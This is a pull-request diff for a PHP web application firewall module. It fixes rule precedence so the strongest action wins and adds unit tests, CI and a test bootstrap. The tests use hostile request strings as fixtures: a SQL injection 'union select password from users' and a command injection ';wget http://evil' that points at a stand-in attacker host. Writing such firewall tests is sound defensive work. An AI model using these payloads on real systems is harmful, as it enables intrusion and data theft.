Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
46 changes: 46 additions & 0 deletions .github/workflows/tests.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,46 @@
name: tests

# TigerShield's suite is unit-only (no DB): the WAF service reads its config from the registry and
# its rules from a file, so there is nothing to provision. Dependencies (Tiger_*, Zend_* via tigerzf,
# PHPUnit) come from a sibling tiger-core checkout, which the test bootstrap resolves.
on:
push:
branches: [ main, master ]
pull_request:

jobs:
phpunit:
runs-on: ubuntu-latest

strategy:
fail-fast: false
matrix:
php: [ '8.1', '8.4' ]

steps:
- name: Checkout TigerShield
uses: actions/checkout@v4
with:
path: TigerShield

# tiger-core is public (BSD-3); no token needed.
- name: Checkout tiger-core (test dependencies)
uses: actions/checkout@v4
with:
repository: WebTigers/TigerCore
path: tiger-core

- name: Setup PHP
uses: shivammathur/setup-php@v2
with:
php-version: ${{ matrix.php }}
extensions: mbstring
coverage: none

- name: Install tiger-core dev dependencies
working-directory: tiger-core
run: composer install --no-interaction --no-progress

- name: Run PHPUnit
working-directory: TigerShield
run: ../tiger-core/vendor/bin/phpunit -c phpunit.xml
3 changes: 3 additions & 0 deletions .gitignore
Original file line number Diff line number Diff line change
@@ -1,3 +1,6 @@
.idea/
.DS_Store
vendor/

# PHPUnit
/.phpunit.cache/
19 changes: 19 additions & 0 deletions phpunit.xml
Original file line number Diff line number Diff line change
@@ -0,0 +1,19 @@
<?xml version="1.0" encoding="UTF-8"?>
<!--
TigerShield PHPUnit config. Dependencies (Tiger_*/Zend_*/PHPUnit) are NOT vendored here; the
bootstrap resolves them from a sibling tiger-core checkout's vendor/ (or $TIGER_CORE_VENDOR).
Run with that checkout's phpunit, e.g.: ../tiger-core/vendor/bin/phpunit
-->
<phpunit xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
bootstrap="tests/bootstrap.php"
cacheDirectory=".phpunit.cache"
colors="true"
failOnRisky="true"
failOnWarning="true"
beStrictAboutOutputDuringTests="true">
<testsuites>
<testsuite name="unit">
<directory>tests/Unit</directory>
</testsuite>
</testsuites>
</phpunit>
53 changes: 44 additions & 9 deletions services/Waf.php
Original file line number Diff line number Diff line change
Expand Up @@ -45,27 +45,62 @@ public function inspect(Zend_Controller_Request_Abstract $request)
$surface = $this->_surface($request, $needBody);
$wafAction = $this->_config('waf.action', 'log');

// STRONGEST action wins, not first match.
//
// This used to return on the first shipped hit, so an ADVISORY match could mask enforcement:
// a soft category is capped at 'log', and waf.action itself defaults to 'log', while custom
// admin rules were only evaluated if nothing shipped had matched at all. A request that
// matched both a shipped heuristic AND an administrator's custom block rule was therefore
// ALLOWED — the weaker, observe-only verdict shadowed the policy that said block.
//
// Advisory rules must inform, never mask. Everything is evaluated and the highest-ranked
// action is returned (log < captcha < block), keeping the label of whichever rule produced
// it. Learn/off mode and the fail-open behaviour are untouched: they are decided downstream
// in the firewall plugin, which still never enforces a 'log'.
$verdict = null;
$take = function ($label, $action) use (&$verdict) {
$action = $this->_norm($action);
$rank = self::_rank($action);
if ($verdict === null || $rank > $verdict['rank']) {
$verdict = ['label' => (string) $label, 'action' => $action, 'rank' => $rank];
}
return $rank >= self::_rank('block'); // nothing outranks a block — safe to stop early
};

// Shipped ruleset — each category against its surface, plus the body for content categories.
foreach ($this->_rules() as $key => $cat) {
if (!$this->_categoryEnabled($key)) { continue; }
$soft = ($cat['tier'] ?? 'high') === 'soft';
$act = $soft ? 'log' : $wafAction;
if ($this->_matchNeedles($cat, $surface[$cat['in'] ?? 'path'] ?? '')) {
return ['label' => (string) ($cat['label'] ?? $key), 'action' => $this->_norm($soft ? 'log' : $wafAction)];
if ($take((string) ($cat['label'] ?? $key), $act)) { break; }
}
if ($needBody && !empty($cat['body']) && isset($surface['body']) && $this->_matchNeedles($cat, $surface['body'])) {
return ['label' => (string) ($cat['label'] ?? $key) . ' (body)', 'action' => $this->_norm($soft ? 'log' : $wafAction)];
if ($take((string) ($cat['label'] ?? $key) . ' (body)', $act)) { break; }
}
}

// Custom admin rules (from the compiled cache) — each carries its own action.
foreach ($custom as $r) {
$val = $surface[$r['target'] ?? 'query'] ?? '';
if ($val === '') { continue; }
if ($this->_matchPattern($r['match'] ?? 'contains', (string) ($r['pattern'] ?? ''), $val)) {
return ['label' => (string) ($r['label'] ?? 'custom') . ' (custom)', 'action' => $this->_norm($r['action'] ?? 'log')];
// Custom admin rules — now ALWAYS evaluated unless a block is already certain.
if ($verdict === null || $verdict['rank'] < self::_rank('block')) {
foreach ($custom as $r) {
$val = $surface[$r['target'] ?? 'query'] ?? '';
if ($val === '') { continue; }
if ($this->_matchPattern($r['match'] ?? 'contains', (string) ($r['pattern'] ?? ''), $val)) {
if ($take((string) ($r['label'] ?? 'custom') . ' (custom)', $r['action'] ?? 'log')) { break; }
}
}
}
return null;

if ($verdict === null) { return null; }
unset($verdict['rank']);
return $verdict;
}

/** Enforcement strength. A weaker verdict must never displace a stronger one. */
private static function _rank($action)
{
$ranks = ['log' => 0, 'captcha' => 1, 'block' => 2];
return $ranks[$action] ?? 0;
}

// -- internals -----------------------------------------------------------------------------------
Expand Down
157 changes: 157 additions & 0 deletions tests/Unit/WafPrecedenceTest.php
Original file line number Diff line number Diff line change
@@ -0,0 +1,157 @@
<?php
// SPDX-License-Identifier: BSD-3-Clause
// Copyright (c) 2026 WebTigers. Tiger™ and WebTigers™ are trademarks of WebTigers.

namespace TigerShield\Tests\Unit;

use PHPUnit\Framework\Attributes\CoversClass;
use PHPUnit\Framework\Attributes\Test;
use PHPUnit\Framework\TestCase;
use ReflectionProperty;
use Tigershield_Service_Waf;
use Zend_Config;
use Zend_Controller_Request_Http;
use Zend_Registry;

/**
* WAF enforcement precedence (TIGER-82).
*
* inspect() used to return on the FIRST shipped match. A soft category is capped at 'log', and
* `waf.action` itself defaults to 'log', while custom admin rules were only evaluated when nothing
* shipped had matched at all. So a request matching BOTH a shipped heuristic AND an administrator's
* custom block rule was ALLOWED — the observe-only verdict shadowed the policy that said block.
*
* The rule these pin: an advisory match may inform, never mask. Strongest action wins.
*/
#[CoversClass(Tigershield_Service_Waf::class)]
final class WafPrecedenceTest extends TestCase
{
protected function setUp(): void
{
parent::setUp();
$this->setConfig([]);
$this->setCustomRules([]);
(new ReflectionProperty(Tigershield_Service_Waf::class, '_rules'))->setValue(null, null);
}

protected function tearDown(): void
{
$this->setCustomRules([]);
Zend_Registry::_unsetInstance();
parent::tearDown();
}

private function setConfig(array $shield): void
{
Zend_Registry::_unsetInstance();
Zend_Registry::set('Zend_Config', new Zend_Config(['tiger' => ['tigershield' => $shield]], true));
}

/** Inject the compiled custom-rule set (normally read from the rule cache). */
private function setCustomRules(array $rules): void
{
(new ReflectionProperty(Tigershield_Service_Waf::class, '_custom'))->setValue(null, $rules);
}

private function request(string $uri, string $ua = 'Mozilla/5.0'): Zend_Controller_Request_Http
{
$_SERVER['REQUEST_URI'] = $uri;
$_SERVER['REQUEST_METHOD'] = 'GET';
$_SERVER['HTTP_USER_AGENT'] = $ua;
return new Zend_Controller_Request_Http('http://example.test' . $uri);
}

/** A query that trips the SOFT sqli heuristic — capped at 'log', i.e. advisory. */
private const ADVISORY_URI = '/search?q=1%20union%20select%20password%20from%20users';

// ---- the bug ----------------------------------------------------------------------------------

#[Test]
public function an_advisory_match_does_not_mask_a_custom_block(): void
{
$this->setCustomRules([
['label' => 'Block evil', 'target' => 'query', 'match' => 'contains', 'pattern' => 'password', 'action' => 'block'],
]);

$hit = (new Tigershield_Service_Waf())->inspect($this->request(self::ADVISORY_URI));

$this->assertNotNull($hit, 'the request matches something');
$this->assertSame('block', $hit['action'],
'the administrator said BLOCK; a soft advisory heuristic must not downgrade that to log');
}

#[Test]
public function an_advisory_match_does_not_mask_a_custom_captcha(): void
{
$this->setCustomRules([
['label' => 'Challenge', 'target' => 'query', 'match' => 'contains', 'pattern' => 'password', 'action' => 'captcha'],
]);

$hit = (new Tigershield_Service_Waf())->inspect($this->request(self::ADVISORY_URI));

$this->assertSame('captcha', $hit['action']);
}

// ---- controls: the fix must not make everything a block ---------------------------------------

#[Test]
public function an_advisory_match_on_its_own_stays_advisory(): void
{
// The positive control. Without it, "always return block" would satisfy the tests above and
// turn a heuristic into a site-breaking enforcement rule.
$hit = (new Tigershield_Service_Waf())->inspect($this->request(self::ADVISORY_URI));

$this->assertNotNull($hit, 'the soft heuristic still matches');
$this->assertSame('log', $hit['action'], 'and is still observe-only when nothing stronger applies');
}

#[Test]
public function a_clean_request_matches_nothing(): void
{
$this->setCustomRules([
['label' => 'Block evil', 'target' => 'query', 'match' => 'contains', 'pattern' => 'zzz-not-here', 'action' => 'block'],
]);

$this->assertNull((new Tigershield_Service_Waf())->inspect($this->request('/about?page=2')));
}

#[Test]
public function a_custom_rule_alone_still_applies(): void
{
// Custom rules used to be reachable only when nothing shipped matched — that path must still work.
$this->setCustomRules([
['label' => 'No bots', 'target' => 'query', 'match' => 'contains', 'pattern' => 'crawl', 'action' => 'block'],
]);

$hit = (new Tigershield_Service_Waf())->inspect($this->request('/index?crawl=1'));

$this->assertSame('block', $hit['action']);
$this->assertStringContainsString('custom', $hit['label']);
}

#[Test]
public function a_weaker_custom_rule_never_downgrades_a_stronger_shipped_verdict(): void
{
// Precedence has to hold in BOTH directions, or the fix just moves the bug.
$this->setConfig(['waf' => ['action' => 'block']]);
$this->setCustomRules([
['label' => 'Just watch', 'target' => 'query', 'match' => 'contains', 'pattern' => 'union', 'action' => 'log'],
]);

// `rce` is a HIGH-tier query category, so it takes waf.action = block.
$hit = (new Tigershield_Service_Waf())->inspect($this->request('/x?cmd=%3Bwget%20http://evil'));

$this->assertNotNull($hit);
$this->assertSame('block', $hit['action'], 'a log-only custom rule cannot soften a shipped block');
}

#[Test]
public function the_configured_action_still_governs_high_tier_categories(): void
{
$this->setConfig(['waf' => ['action' => 'captcha']]);
$hit = (new Tigershield_Service_Waf())->inspect($this->request('/x?cmd=%3Bwget%20http://evil'));

$this->assertNotNull($hit);
$this->assertSame('captcha', $hit['action'], 'waf.action is still honoured for high-tier rules');
}
}
68 changes: 68 additions & 0 deletions tests/bootstrap.php
Original file line number Diff line number Diff line change
@@ -0,0 +1,68 @@
<?php
// SPDX-License-Identifier: BSD-3-Clause
// Copyright (c) 2026 WebTigers. Tiger™ and WebTigers™ are trademarks of WebTigers.
/**
* PHPUnit bootstrap for TigerShield.
*
* TigerShield is a Tiger MODULE: its `Tigershield_*` classes extend `Tiger_*` bases and normally live
* inside a Tiger app, resolved by ZF1's module loader. To test them in isolation we load a tiger-core
* checkout's autoloader (Tiger_*, Zend_*, PHPUnit) and register a small module autoloader.
*
* Resolve tiger-core via (first hit wins): $TIGER_CORE_VENDOR → $TIGER_CORE_PATH/vendor → a sibling
* ../tiger-core checkout, which must have had `composer install` run in it.
*/

error_reporting(E_ALL);

if (!defined('APPLICATION_ENV')) { define('APPLICATION_ENV', getenv('APPLICATION_ENV') ?: 'testing'); }

$moduleRoot = dirname(__DIR__);
if (!defined('APPLICATION_ROOT')) { define('APPLICATION_ROOT', $moduleRoot); }

$candidates = array_filter([
getenv('TIGER_CORE_VENDOR') ?: null,
getenv('TIGER_CORE_PATH') ? rtrim(getenv('TIGER_CORE_PATH'), '/') . '/vendor/autoload.php' : null,
$moduleRoot . '/../tiger-core/vendor/autoload.php',
]);
$coreVendor = '';
foreach ($candidates as $c) { if (is_file($c)) { $coreVendor = $c; break; } }
if ($coreVendor === '') {
fwrite(STDERR, "\nTigerShield tests need tiger-core's autoloader (Tiger_*/Zend_*/PHPUnit).\n"
. "Set TIGER_CORE_VENDOR, or place tiger-core as a sibling and run `composer install` in it.\n\n");
exit(1);
}
require $coreVendor;

$coreRoot = dirname($coreVendor, 2);
if (!defined('TIGER_CORE_PATH')) { define('TIGER_CORE_PATH', $coreRoot); }

set_include_path(implode(PATH_SEPARATOR, array_filter([
$coreRoot . '/vendor/webtigers/tigerzf/library',
$coreRoot . '/library',
get_include_path(),
])));

// Tigershield_* module autoloader (ZF1 module layout -> class names).
spl_autoload_register(static function ($class) use ($moduleRoot) {
if (strncmp($class, 'Tigershield_', 12) !== 0) { return; }
if (preg_match('/^Tigershield_Service_(.+)$/', $class, $m)) {
$rel = 'services/' . str_replace('_', '/', $m[1]) . '.php';
} elseif (preg_match('/^Tigershield_Model_(.+)$/', $class, $m)) {
$rel = 'models/' . str_replace('_', '/', $m[1]) . '.php';
} elseif (preg_match('/^Tigershield_Plugin_(.+)$/', $class, $m)) {
$rel = 'plugins/' . str_replace('_', '/', $m[1]) . '.php';
} elseif (preg_match('/^Tigershield_(.+)Controller$/', $class, $m)) {
$rel = 'controllers/' . $m[1] . 'Controller.php';
} else {
$rel = str_replace('_', '/', substr($class, 12)) . '.php';
}
$file = $moduleRoot . '/' . $rel;
if (is_file($file)) { require $file; }
});

spl_autoload_register(static function ($class) {
$prefix = 'TigerShield\\Tests\\';
if (strncmp($class, $prefix, strlen($prefix)) !== 0) { return; }
$file = __DIR__ . '/' . str_replace('\\', '/', substr($class, strlen($prefix))) . '.php';
if (is_file($file)) { require $file; }
});
Loading